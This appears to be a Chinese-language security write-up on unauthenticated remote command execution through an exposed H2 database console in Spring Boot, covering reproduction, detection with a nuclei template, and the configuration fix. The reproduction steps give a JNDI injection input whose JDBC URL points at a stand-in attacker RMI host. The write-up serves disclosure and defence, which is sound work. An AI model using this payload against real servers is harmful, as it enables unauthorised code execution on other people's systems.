0x01 漏洞描述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

  1. spring.h2.console.enabled=true
  2. spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

0x02 漏洞复现

访问IP:8080/h2-console
使用工具JNDI,配置config.properties,这里我们指定command。
image.png
在h2-console中输入Driver Class为javax.naming.InitialContext,JDBC URL为:rmi://evil:23456/BypassByEL
image.png
在vps上运行该工具,在执行后可以收到远程服务器的连接。
image.png
同时我们的DNSlog收到响应。
image.png

0x03 漏洞发现

端口特征:由于h2-console是spring boot的一个组件,所以无端口特征
路径:/h2-console/login.jsp
nuclei模板:

  1. id: h2console-panel
  2. info:
  3. name: H2 console web panel
  4. author: righettod
  5. severity: info
  6. reference:
  7. - https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ
  8. - https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console
  9. - https://www.shodan.io/search?query=http.title%3A%22H2+Console%22
  10. tags: panel,h2,console
  11. requests:
  12. - method: GET
  13. path:
  14. - '{{BaseURL}}/h2-console/login.jsp'
  15. matchers:
  16. - type: dsl
  17. dsl:
  18. - "status_code==200"
  19. - "contains(tolower(body), '<title>h2 console</title>')"
  20. condition: and

0x04 修复建议

修改配置为false。